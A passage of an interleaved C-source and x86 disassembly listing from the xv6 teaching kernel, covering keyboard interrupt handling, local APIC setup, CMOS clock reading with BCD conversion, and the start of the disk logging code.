801026a9: 31 c0 xor %eax,%eax
shift &= ~(shiftcode[data] | E0ESC);
801026ab: 89 0d bc a5 10 80 mov %ecx,0x8010a5bc
}
801026b1: 5b pop %ebx
801026b2: 5d pop %ebp
801026b3: c3 ret
801026b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
shift |= E0ESC;
801026b8: 83 c9 40 or $0x40,%ecx
return 0;
801026bb: 31 c0 xor %eax,%eax
shift |= E0ESC;
801026bd: 89 0d bc a5 10 80 mov %ecx,0x8010a5bc
return 0;
801026c3: c3 ret
801026c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
else if('A' <= c && c <= 'Z')
801026c8: 8d 48 bf lea -0x41(%eax),%ecx
c += 'a' - 'A';
801026cb: 8d 50 20 lea 0x20(%eax),%edx
}
801026ce: 5b pop %ebx
c += 'a' - 'A';
801026cf: 83 f9 1a cmp $0x1a,%ecx
801026d2: 0f 42 c2 cmovb %edx,%eax
}
801026d5: 5d pop %ebp
801026d6: c3 ret
801026d7: 89 f6 mov %esi,%esi
801026d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
return -1;
801026e0: b8 ff ff ff ff mov $0xffffffff,%eax
}
801026e5: c3 ret
801026e6: 8d 76 00 lea 0x0(%esi),%esi
801026e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801026f0 <kbdintr>:
void
kbdintr(void)
{
801026f0: 55 push %ebp
801026f1: 89 e5 mov %esp,%ebp
801026f3: 83 ec 14 sub $0x14,%esp
consoleintr(kbdgetc);
801026f6: 68 10 26 10 80 push $0x80102610
801026fb: e8 10 e1 ff ff call 80100810 <consoleintr>
}
80102700: 83 c4 10 add $0x10,%esp
80102703: c9 leave
80102704: c3 ret
80102705: 66 90 xchg %ax,%ax
80102707: 66 90 xchg %ax,%ax
80102709: 66 90 xchg %ax,%ax
8010270b: 66 90 xchg %ax,%ax
8010270d: 66 90 xchg %ax,%ax
8010270f: 90 nop
80102710 <lapicinit>:
}
void
lapicinit(void)
{
if(!lapic)
80102710: a1 9c 26 11 80 mov 0x8011269c,%eax
{
80102715: 55 push %ebp
80102716: 89 e5 mov %esp,%ebp
if(!lapic)
80102718: 85 c0 test %eax,%eax
8010271a: 0f 84 c8 00 00 00 je 801027e8 <lapicinit+0xd8>
lapic[index] = value;
80102720: c7 80 f0 00 00 00 3f movl $0x13f,0xf0(%eax)
80102727: 01 00 00
lapic[ID]; // wait for write to finish, by reading
8010272a: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
8010272d: c7 80 e0 03 00 00 0b movl $0xb,0x3e0(%eax)
80102734: 00 00 00
lapic[ID]; // wait for write to finish, by reading
80102737: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
8010273a: c7 80 20 03 00 00 20 movl $0x20020,0x320(%eax)
80102741: 00 02 00
lapic[ID]; // wait for write to finish, by reading
80102744: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
80102747: c7 80 80 03 00 00 80 movl $0x989680,0x380(%eax)
8010274e: 96 98 00
lapic[ID]; // wait for write to finish, by reading
80102751: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
80102754: c7 80 50 03 00 00 00 movl $0x10000,0x350(%eax)
8010275b: 00 01 00
lapic[ID]; // wait for write to finish, by reading
8010275e: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
80102761: c7 80 60 03 00 00 00 movl $0x10000,0x360(%eax)
80102768: 00 01 00
lapic[ID]; // wait for write to finish, by reading
8010276b: 8b 50 20 mov 0x20(%eax),%edx
lapicw(LINT0, MASKED);
lapicw(LINT1, MASKED);
// Disable performance counter overflow interrupts
// on machines that provide that interrupt entry.
if(((lapic[VER]>>16) & 0xFF) >= 4)
8010276e: 8b 50 30 mov 0x30(%eax),%edx
80102771: c1 ea 10 shr $0x10,%edx
80102774: 80 fa 03 cmp $0x3,%dl
80102777: 77 77 ja 801027f0 <lapicinit+0xe0>
lapic[index] = value;
80102779: c7 80 70 03 00 00 33 movl $0x33,0x370(%eax)
80102780: 00 00 00
lapic[ID]; // wait for write to finish, by reading
80102783: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
80102786: c7 80 80 02 00 00 00 movl $0x0,0x280(%eax)
8010278d: 00 00 00
lapic[ID]; // wait for write to finish, by reading
80102790: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
80102793: c7 80 80 02 00 00 00 movl $0x0,0x280(%eax)
8010279a: 00 00 00
lapic[ID]; // wait for write to finish, by reading
8010279d: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
801027a0: c7 80 b0 00 00 00 00 movl $0x0,0xb0(%eax)
801027a7: 00 00 00
lapic[ID]; // wait for write to finish, by reading
801027aa: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
801027ad: c7 80 10 03 00 00 00 movl $0x0,0x310(%eax)
801027b4: 00 00 00
lapic[ID]; // wait for write to finish, by reading
801027b7: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
801027ba: c7 80 00 03 00 00 00 movl $0x88500,0x300(%eax)
801027c1: 85 08 00
lapic[ID]; // wait for write to finish, by reading
801027c4: 8b 50 20 mov 0x20(%eax),%edx
801027c7: 89 f6 mov %esi,%esi
801027c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
lapicw(EOI, 0);
// Send an Init Level De-Assert to synchronise arbitration ID's.
lapicw(ICRHI, 0);
lapicw(ICRLO, BCAST | INIT | LEVEL);
while(lapic[ICRLO] & DELIVS)
801027d0: 8b 90 00 03 00 00 mov 0x300(%eax),%edx
801027d6: 80 e6 10 and $0x10,%dh
801027d9: 75 f5 jne 801027d0 <lapicinit+0xc0>
lapic[index] = value;
801027db: c7 80 80 00 00 00 00 movl $0x0,0x80(%eax)
801027e2: 00 00 00
lapic[ID]; // wait for write to finish, by reading
801027e5: 8b 40 20 mov 0x20(%eax),%eax
;
// Enable interrupts on the APIC (but not on the processor).
lapicw(TPR, 0);
}
801027e8: 5d pop %ebp
801027e9: c3 ret
801027ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
lapic[index] = value;
801027f0: c7 80 40 03 00 00 00 movl $0x10000,0x340(%eax)
801027f7: 00 01 00
lapic[ID]; // wait for write to finish, by reading
801027fa: 8b 50 20 mov 0x20(%eax),%edx
801027fd: e9 77 ff ff ff jmp 80102779 <lapicinit+0x69>
80102802: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80102809: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102810 <lapicid>:
int
lapicid(void)
{
if (!lapic)
80102810: 8b 15 9c 26 11 80 mov 0x8011269c,%edx
{
80102816: 55 push %ebp
80102817: 31 c0 xor %eax,%eax
80102819: 89 e5 mov %esp,%ebp
if (!lapic)
8010281b: 85 d2 test %edx,%edx
8010281d: 74 06 je 80102825 <lapicid+0x15>
return 0;
return lapic[ID] >> 24;
8010281f: 8b 42 20 mov 0x20(%edx),%eax
80102822: c1 e8 18 shr $0x18,%eax
}
80102825: 5d pop %ebp
80102826: c3 ret
80102827: 89 f6 mov %esi,%esi
80102829: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102830 <lapiceoi>:
// Acknowledge interrupt.
void
lapiceoi(void)
{
if(lapic)
80102830: a1 9c 26 11 80 mov 0x8011269c,%eax
{
80102835: 55 push %ebp
80102836: 89 e5 mov %esp,%ebp
if(lapic)
80102838: 85 c0 test %eax,%eax
8010283a: 74 0d je 80102849 <lapiceoi+0x19>
lapic[index] = value;
8010283c: c7 80 b0 00 00 00 00 movl $0x0,0xb0(%eax)
80102843: 00 00 00
lapic[ID]; // wait for write to finish, by reading
80102846: 8b 40 20 mov 0x20(%eax),%eax
lapicw(EOI, 0);
}
80102849: 5d pop %ebp
8010284a: c3 ret
8010284b: 90 nop
8010284c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102850 <microdelay>:
// Spin for a given number of microseconds.
// On real hardware would want to tune this dynamically.
void
microdelay(int us)
{
80102850: 55 push %ebp
80102851: 89 e5 mov %esp,%ebp
}
80102853: 5d pop %ebp
80102854: c3 ret
80102855: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102859: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102860 <lapicstartap>:
// Start additional processor running entry code at addr.
// See Appendix B of MultiProcessor Specification.
void
lapicstartap(uchar apicid, uint addr)
{
80102860: 55 push %ebp
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102861: b8 0f 00 00 00 mov $0xf,%eax
80102866: ba 70 00 00 00 mov $0x70,%edx
8010286b: 89 e5 mov %esp,%ebp
8010286d: 53 push %ebx
8010286e: 8b 4d 0c mov 0xc(%ebp),%ecx
80102871: 8b 5d 08 mov 0x8(%ebp),%ebx
80102874: ee out %al,(%dx)
80102875: b8 0a 00 00 00 mov $0xa,%eax
8010287a: ba 71 00 00 00 mov $0x71,%edx
8010287f: ee out %al,(%dx)
// and the warm reset vector (DWORD based at 40:67) to point at
// the AP startup code prior to the [universal startup algorithm]."
outb(CMOS_PORT, 0xF); // offset 0xF is shutdown code
outb(CMOS_PORT+1, 0x0A);
wrv = (ushort*)P2V((0x40<<4 | 0x67)); // Warm reset vector
wrv[0] = 0;
80102880: 31 c0 xor %eax,%eax
wrv[1] = addr >> 4;
// "Universal startup algorithm."
// Send INIT (level-triggered) interrupt to reset other CPU.
lapicw(ICRHI, apicid<<24);
80102882: c1 e3 18 shl $0x18,%ebx
wrv[0] = 0;
80102885: 66 a3 67 04 00 80 mov %ax,0x80000467
wrv[1] = addr >> 4;
8010288b: 89 c8 mov %ecx,%eax
// when it is in the halted state due to an INIT. So the second
// should be ignored, but it is part of the official Intel algorithm.
// Bochs complains about the second one. Too bad for Bochs.
for(i = 0; i < 2; i++){
lapicw(ICRHI, apicid<<24);
lapicw(ICRLO, STARTUP | (addr>>12));
8010288d: c1 e9 0c shr $0xc,%ecx
wrv[1] = addr >> 4;
80102890: c1 e8 04 shr $0x4,%eax
lapicw(ICRHI, apicid<<24);
80102893: 89 da mov %ebx,%edx
lapicw(ICRLO, STARTUP | (addr>>12));
80102895: 80 cd 06 or $0x6,%ch
wrv[1] = addr >> 4;
80102898: 66 a3 69 04 00 80 mov %ax,0x80000469
lapic[index] = value;
8010289e: a1 9c 26 11 80 mov 0x8011269c,%eax
801028a3: 89 98 10 03 00 00 mov %ebx,0x310(%eax)
lapic[ID]; // wait for write to finish, by reading
801028a9: 8b 58 20 mov 0x20(%eax),%ebx
lapic[index] = value;
801028ac: c7 80 00 03 00 00 00 movl $0xc500,0x300(%eax)
801028b3: c5 00 00
lapic[ID]; // wait for write to finish, by reading
801028b6: 8b 58 20 mov 0x20(%eax),%ebx
lapic[index] = value;
801028b9: c7 80 00 03 00 00 00 movl $0x8500,0x300(%eax)
801028c0: 85 00 00
lapic[ID]; // wait for write to finish, by reading
801028c3: 8b 58 20 mov 0x20(%eax),%ebx
lapic[index] = value;
801028c6: 89 90 10 03 00 00 mov %edx,0x310(%eax)
lapic[ID]; // wait for write to finish, by reading
801028cc: 8b 58 20 mov 0x20(%eax),%ebx
lapic[index] = value;
801028cf: 89 88 00 03 00 00 mov %ecx,0x300(%eax)
lapic[ID]; // wait for write to finish, by reading
801028d5: 8b 58 20 mov 0x20(%eax),%ebx
lapic[index] = value;
801028d8: 89 90 10 03 00 00 mov %edx,0x310(%eax)
lapic[ID]; // wait for write to finish, by reading
801028de: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
801028e1: 89 88 00 03 00 00 mov %ecx,0x300(%eax)
lapic[ID]; // wait for write to finish, by reading
801028e7: 8b 40 20 mov 0x20(%eax),%eax
microdelay(200);
}
}
801028ea: 5b pop %ebx
801028eb: 5d pop %ebp
801028ec: c3 ret
801028ed: 8d 76 00 lea 0x0(%esi),%esi
801028f0 <cmostime>:
}
// qemu seems to use 24-hour GWT and the values are BCD encoded
void
cmostime(struct rtcdate *r)
{
801028f0: 55 push %ebp
801028f1: b8 0b 00 00 00 mov $0xb,%eax
801028f6: ba 70 00 00 00 mov $0x70,%edx
801028fb: 89 e5 mov %esp,%ebp
801028fd: 57 push %edi
801028fe: 56 push %esi
801028ff: 53 push %ebx
80102900: 83 ec 4c sub $0x4c,%esp
80102903: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102904: ba 71 00 00 00 mov $0x71,%edx
80102909: ec in (%dx),%al
8010290a: 83 e0 04 and $0x4,%eax
asm volatile("out %0,%1" : : "a" (data), "d" (port));
8010290d: bb 70 00 00 00 mov $0x70,%ebx
80102912: 88 45 b3 mov %al,-0x4d(%ebp)
80102915: 8d 76 00 lea 0x0(%esi),%esi
80102918: 31 c0 xor %eax,%eax
8010291a: 89 da mov %ebx,%edx
8010291c: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
8010291d: b9 71 00 00 00 mov $0x71,%ecx
80102922: 89 ca mov %ecx,%edx
80102924: ec in (%dx),%al
80102925: 88 45 b7 mov %al,-0x49(%ebp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102928: 89 da mov %ebx,%edx
8010292a: b8 02 00 00 00 mov $0x2,%eax
8010292f: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102930: 89 ca mov %ecx,%edx
80102932: ec in (%dx),%al
80102933: 88 45 b6 mov %al,-0x4a(%ebp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102936: 89 da mov %ebx,%edx
80102938: b8 04 00 00 00 mov $0x4,%eax
8010293d: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
8010293e: 89 ca mov %ecx,%edx
80102940: ec in (%dx),%al
80102941: 88 45 b5 mov %al,-0x4b(%ebp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102944: 89 da mov %ebx,%edx
80102946: b8 07 00 00 00 mov $0x7,%eax
8010294b: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
8010294c: 89 ca mov %ecx,%edx
8010294e: ec in (%dx),%al
8010294f: 88 45 b4 mov %al,-0x4c(%ebp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102952: 89 da mov %ebx,%edx
80102954: b8 08 00 00 00 mov $0x8,%eax
80102959: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
8010295a: 89 ca mov %ecx,%edx
8010295c: ec in (%dx),%al
8010295d: 89 c7 mov %eax,%edi
asm volatile("out %0,%1" : : "a" (data), "d" (port));
8010295f: 89 da mov %ebx,%edx
80102961: b8 09 00 00 00 mov $0x9,%eax
80102966: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102967: 89 ca mov %ecx,%edx
80102969: ec in (%dx),%al
8010296a: 89 c6 mov %eax,%esi
asm volatile("out %0,%1" : : "a" (data), "d" (port));
8010296c: 89 da mov %ebx,%edx
8010296e: b8 0a 00 00 00 mov $0xa,%eax
80102973: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102974: 89 ca mov %ecx,%edx
80102976: ec in (%dx),%al
bcd = (sb & (1 << 2)) == 0;
// make sure CMOS doesn't modify time while we read it
for(;;) {
fill_rtcdate(&t1);
if(cmos_read(CMOS_STATA) & CMOS_UIP)
80102977: 84 c0 test %al,%al
80102979: 78 9d js 80102918 <cmostime+0x28>
return inb(CMOS_RETURN);
8010297b: 0f b6 45 b7 movzbl -0x49(%ebp),%eax
8010297f: 89 fa mov %edi,%edx
80102981: 0f b6 fa movzbl %dl,%edi
80102984: 89 f2 mov %esi,%edx
80102986: 0f b6 f2 movzbl %dl,%esi
80102989: 89 7d c8 mov %edi,-0x38(%ebp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
8010298c: 89 da mov %ebx,%edx
8010298e: 89 75 cc mov %esi,-0x34(%ebp)
80102991: 89 45 b8 mov %eax,-0x48(%ebp)
80102994: 0f b6 45 b6 movzbl -0x4a(%ebp),%eax
80102998: 89 45 bc mov %eax,-0x44(%ebp)
8010299b: 0f b6 45 b5 movzbl -0x4b(%ebp),%eax
8010299f: 89 45 c0 mov %eax,-0x40(%ebp)
801029a2: 0f b6 45 b4 movzbl -0x4c(%ebp),%eax
801029a6: 89 45 c4 mov %eax,-0x3c(%ebp)
801029a9: 31 c0 xor %eax,%eax
801029ab: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801029ac: 89 ca mov %ecx,%edx
801029ae: ec in (%dx),%al
801029af: 0f b6 c0 movzbl %al,%eax
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801029b2: 89 da mov %ebx,%edx
801029b4: 89 45 d0 mov %eax,-0x30(%ebp)
801029b7: b8 02 00 00 00 mov $0x2,%eax
801029bc: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801029bd: 89 ca mov %ecx,%edx
801029bf: ec in (%dx),%al
801029c0: 0f b6 c0 movzbl %al,%eax
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801029c3: 89 da mov %ebx,%edx
801029c5: 89 45 d4 mov %eax,-0x2c(%ebp)
801029c8: b8 04 00 00 00 mov $0x4,%eax
801029cd: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801029ce: 89 ca mov %ecx,%edx
801029d0: ec in (%dx),%al
801029d1: 0f b6 c0 movzbl %al,%eax
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801029d4: 89 da mov %ebx,%edx
801029d6: 89 45 d8 mov %eax,-0x28(%ebp)
801029d9: b8 07 00 00 00 mov $0x7,%eax
801029de: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801029df: 89 ca mov %ecx,%edx
801029e1: ec in (%dx),%al
801029e2: 0f b6 c0 movzbl %al,%eax
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801029e5: 89 da mov %ebx,%edx
801029e7: 89 45 dc mov %eax,-0x24(%ebp)
801029ea: b8 08 00 00 00 mov $0x8,%eax
801029ef: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801029f0: 89 ca mov %ecx,%edx
801029f2: ec in (%dx),%al
801029f3: 0f b6 c0 movzbl %al,%eax
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801029f6: 89 da mov %ebx,%edx
801029f8: 89 45 e0 mov %eax,-0x20(%ebp)
801029fb: b8 09 00 00 00 mov $0x9,%eax
80102a00: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102a01: 89 ca mov %ecx,%edx
80102a03: ec in (%dx),%al
80102a04: 0f b6 c0 movzbl %al,%eax
continue;
fill_rtcdate(&t2);
if(memcmp(&t1, &t2, sizeof(t1)) == 0)
80102a07: 83 ec 04 sub $0x4,%esp
return inb(CMOS_RETURN);
80102a0a: 89 45 e4 mov %eax,-0x1c(%ebp)
if(memcmp(&t1, &t2, sizeof(t1)) == 0)
80102a0d: 8d 45 d0 lea -0x30(%ebp),%eax
80102a10: 6a 18 push $0x18
80102a12: 50 push %eax
80102a13: 8d 45 b8 lea -0x48(%ebp),%eax
80102a16: 50 push %eax
80102a17: e8 a4 1c 00 00 call 801046c0 <memcmp>
80102a1c: 83 c4 10 add $0x10,%esp
80102a1f: 85 c0 test %eax,%eax
80102a21: 0f 85 f1 fe ff ff jne 80102918 <cmostime+0x28>
break;
}
// convert
if(bcd) {
80102a27: 80 7d b3 00 cmpb $0x0,-0x4d(%ebp)
80102a2b: 75 78 jne 80102aa5 <cmostime+0x1b5>
#define CONV(x) (t1.x = ((t1.x >> 4) * 10) + (t1.x & 0xf))
CONV(second);
80102a2d: 8b 45 b8 mov -0x48(%ebp),%eax
80102a30: 89 c2 mov %eax,%edx
80102a32: 83 e0 0f and $0xf,%eax
80102a35: c1 ea 04 shr $0x4,%edx
80102a38: 8d 14 92 lea (%edx,%edx,4),%edx
80102a3b: 8d 04 50 lea (%eax,%edx,2),%eax
80102a3e: 89 45 b8 mov %eax,-0x48(%ebp)
CONV(minute);
80102a41: 8b 45 bc mov -0x44(%ebp),%eax
80102a44: 89 c2 mov %eax,%edx
80102a46: 83 e0 0f and $0xf,%eax
80102a49: c1 ea 04 shr $0x4,%edx
80102a4c: 8d 14 92 lea (%edx,%edx,4),%edx
80102a4f: 8d 04 50 lea (%eax,%edx,2),%eax
80102a52: 89 45 bc mov %eax,-0x44(%ebp)
CONV(hour );
80102a55: 8b 45 c0 mov -0x40(%ebp),%eax
80102a58: 89 c2 mov %eax,%edx
80102a5a: 83 e0 0f and $0xf,%eax
80102a5d: c1 ea 04 shr $0x4,%edx
80102a60: 8d 14 92 lea (%edx,%edx,4),%edx
80102a63: 8d 04 50 lea (%eax,%edx,2),%eax
80102a66: 89 45 c0 mov %eax,-0x40(%ebp)
CONV(day );
80102a69: 8b 45 c4 mov -0x3c(%ebp),%eax
80102a6c: 89 c2 mov %eax,%edx
80102a6e: 83 e0 0f and $0xf,%eax
80102a71: c1 ea 04 shr $0x4,%edx
80102a74: 8d 14 92 lea (%edx,%edx,4),%edx
80102a77: 8d 04 50 lea (%eax,%edx,2),%eax
80102a7a: 89 45 c4 mov %eax,-0x3c(%ebp)
CONV(month );
80102a7d: 8b 45 c8 mov -0x38(%ebp),%eax
80102a80: 89 c2 mov %eax,%edx
80102a82: 83 e0 0f and $0xf,%eax
80102a85: c1 ea 04 shr $0x4,%edx
80102a88: 8d 14 92 lea (%edx,%edx,4),%edx
80102a8b: 8d 04 50 lea (%eax,%edx,2),%eax
80102a8e: 89 45 c8 mov %eax,-0x38(%ebp)
CONV(year );
80102a91: 8b 45 cc mov -0x34(%ebp),%eax
80102a94: 89 c2 mov %eax,%edx
80102a96: 83 e0 0f and $0xf,%eax
80102a99: c1 ea 04 shr $0x4,%edx
80102a9c: 8d 14 92 lea (%edx,%edx,4),%edx
80102a9f: 8d 04 50 lea (%eax,%edx,2),%eax
80102aa2: 89 45 cc mov %eax,-0x34(%ebp)
#undef CONV
}
*r = t1;
80102aa5: 8b 75 08 mov 0x8(%ebp),%esi
80102aa8: 8b 45 b8 mov -0x48(%ebp),%eax
80102aab: 89 06 mov %eax,(%esi)
80102aad: 8b 45 bc mov -0x44(%ebp),%eax
80102ab0: 89 46 04 mov %eax,0x4(%esi)
80102ab3: 8b 45 c0 mov -0x40(%ebp),%eax
80102ab6: 89 46 08 mov %eax,0x8(%esi)
80102ab9: 8b 45 c4 mov -0x3c(%ebp),%eax
80102abc: 89 46 0c mov %eax,0xc(%esi)
80102abf: 8b 45 c8 mov -0x38(%ebp),%eax
80102ac2: 89 46 10 mov %eax,0x10(%esi)
80102ac5: 8b 45 cc mov -0x34(%ebp),%eax
80102ac8: 89 46 14 mov %eax,0x14(%esi)
r->year += 2000;
80102acb: 81 46 14 d0 07 00 00 addl $0x7d0,0x14(%esi)
}
80102ad2: 8d 65 f4 lea -0xc(%ebp),%esp
80102ad5: 5b pop %ebx
80102ad6: 5e pop %esi
80102ad7: 5f pop %edi
80102ad8: 5d pop %ebp
80102ad9: c3 ret
80102ada: 66 90 xchg %ax,%ax
80102adc: 66 90 xchg %ax,%ax
80102ade: 66 90 xchg %ax,%ax
80102ae0 <install_trans>:
static void
install_trans(void)
{
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
80102ae0: 8b 0d e8 26 11 80 mov 0x801126e8,%ecx
80102ae6: 85 c9 test %ecx,%ecx
80102ae8: 0f 8e 8a 00 00 00 jle 80102b78 <install_trans+0x98>
{
80102aee: 55 push %ebp
80102aef: 89 e5 mov %esp,%ebp
80102af1: 57 push %edi
80102af2: 56 push %esi
80102af3: 53 push %ebx
for (tail = 0; tail < log.lh.n; tail++) {
80102af4: 31 db xor %ebx,%ebx
{
80102af6: 83 ec 0c sub $0xc,%esp
80102af9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
struct buf *lbuf = bread(log.dev, log.start+tail+1); // read log block
80102b00: a1 d4 26 11 80 mov 0x801126d4,%eax
80102b05: 83 ec 08 sub $0x8,%esp
80102b08: 01 d8 add %ebx,%eax
80102b0a: 83 c0 01 add $0x1,%eax
80102b0d: 50 push %eax
80102b0e: ff 35 e4 26 11 80 pushl 0x801126e4
80102b14: e8 b7 d5 ff ff call 801000d0 <bread>
80102b19: 89 c7 mov %eax,%edi
struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst
80102b1b: 58 pop %eax
80102b1c: 5a pop %edx
80102b1d: ff 34 9d ec 26 11 80 pushl -0x7feed914(,%ebx,4)
80102b24: ff 35 e4 26 11 80 pushl 0x801126e4
for (tail = 0; tail < log.lh.n; tail++) {
80102b2a: 83 c3 01 add $0x1,%ebx
struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst
80102b2d: e8 9e d5 ff ff call 801000d0 <bread>
80102b32: 89 c6 mov %eax,%esi
memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst
80102b34: 8d 47 5c lea 0x5c(%edi),%eax
80102b37: 83 c4 0c add $0xc,%esp
80102b3a: 68 00 02 00 00 push $0x200
80102b3f: 50 push %eax
80102b40: 8d 46 5c lea 0x5c(%esi),%eax
80102b43: 50 push %eax
80102b44: e8 d7 1b 00 00 call 80104720 <memmove>
bwrite(dbuf); // write dst to disk
80102b49: 89 34 24 mov %esi,(%esp)
80102b4c: e8 4f d6 ff ff call 801001a0 <bwrite>
brelse(lbuf);
80102b51: 89 3c 24 mov %edi,(%esp)
80102b54: e8 87 d6 ff ff call 801001e0 <brelse>
brelse(dbuf);
80102b59: 89 34 24 mov %esi,(%esp)
80102b5c: e8 7f d6 ff ff call 801001e0 <brelse>
for (tail = 0; tail < log.lh.n; tail++) {
80102b61: 83 c4 10 add $0x10,%esp
80102b64: 39 1d e8 26 11 80 cmp %ebx,0x801126e8
80102b6a: 7f 94 jg 80102b00 <install_trans+0x20>
}
}
80102b6c: 8d 65 f4 lea -0xc(%ebp),%esp
80102b6f: 5b pop %ebx
80102b70: 5e pop %esi
80102b71: 5f pop %edi
80102b72: 5d pop %ebp
80102b73: c3 ret
80102b74: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102b78: f3 c3 repz ret
80102b7a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80102b80 <write_head>:
// Write in-memory log header to disk.
// This is the true point at which the
// current transaction commits.
static void
write_head(void)
{
80102b80: 55 push %ebp
80102b81: 89 e5 mov %esp,%ebp
80102b83: 56 push %esi
80102b84: 53 push %ebx
struct buf *buf = bread(log.dev, log.start);
80102b85: 83 ec 08 sub $0x8,%esp
80102b88: ff 35 d4 26 11 80 pushl 0x801126d4
80102b8e: ff 35 e4 26 11 80 pushl 0x801126e4
80102b94: e8 37 d5 ff ff call 801000d0 <bread>
struct logheader *hb = (struct logheader *) (buf->data);
int i;
hb->n = log.lh.n;
80102b99: 8b 1d e8 26 11 80 mov 0x801126e8,%ebx
for (i = 0; i < log.lh.n; i++) {
80102b9f: 83 c4 10 add $0x10,%esp
struct buf *buf = bread(log.dev, log.start);
80102ba2: 89 c6 mov %eax,%esi
for (i = 0; i < log.lh.n; i++) {
80102ba4: 85 db test %ebx,%ebx
hb->n = log.lh.n;
80102ba6: 89 58 5c mov %ebx,0x5c(%eax)
for (i = 0; i < log.lh.n; i++) {
80102ba9: 7e 16 jle 80102bc1 <write_head+0x41>
80102bab: c1 e3 02 shl $0x2,%ebx
80102bae: 31 d2 xor %edx,%edx
hb->block[i] = log.lh.block[i];
80102bb0: 8b 8a ec 26 11 80 mov -0x7feed914(%edx),%ecx
80102bb6: 89 4c 16 60 mov %ecx,0x60(%esi,%edx,1)
80102bba: 83 c2 04 add $0x4,%edx
for (i = 0; i < log.lh.n; i++) {
80102bbd: 39 da cmp %ebx,%edx
80102bbf: 75 ef jne 80102bb0 <write_head+0x30>
}
bwrite(buf);
80102bc1: 83 ec 0c sub $0xc,%esp
80102bc4: 56 push %esi
80102bc5: e8 d6 d5 ff ff call 801001a0 <bwrite>
brelse(buf);
80102bca: 89 34 24 mov %esi,(%esp)
80102bcd: e8 0e d6 ff ff call 801001e0 <brelse>
}
80102bd2: 83 c4 10 add $0x10,%esp
80102bd5: 8d 65 f8 lea -0x8(%ebp),%esp
80102bd8: 5b pop %ebx
80102bd9: 5e pop %esi
80102bda: 5d pop %ebp
80102bdb: c3 ret
80102bdc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102be0 <initlog>:
{
80102be0: 55 push %ebp
80102be1: 89 e5 mov %esp,%ebp
80102be3: 53 push %ebx
80102be4: 83 ec 2c sub $0x2c,%esp
80102be7: 8b 5d 08 mov 0x8(%ebp),%ebx
initlock(&log.lock, "log");
80102bea: 68 20 78 10 80 push $0x80107820
80102bef: 68 a0 26 11 80 push $0x801126a0
80102bf4: e8 27 18 00 00 call 80104420 <initlock>
readsb(dev, &sb);
80102bf9: 58 pop %eax
80102bfa: 8d 45 dc lea -0x24(%ebp),%eax
80102bfd: 5a pop %edx
80102bfe: 50 push %eax
80102bff: 53 push %ebx
80102c00: e8 3b e8 ff ff call 80101440 <readsb>
log.size = sb.nlog;
80102c05: 8b 55 e8 mov -0x18(%ebp),%edx
log.start = sb.logstart;
80102c08: 8b 45 ec mov -0x14(%ebp),%eax
struct buf *buf = bread(log.dev, log.start);
80102c0b: 59 pop %ecx
log.dev = dev;
80102c0c: 89 1d e4 26 11 80 mov %ebx,0x801126e4
log.size = sb.nlog;
80102c12: 89 15 d8 26 11 80 mov %edx,0x801126d8
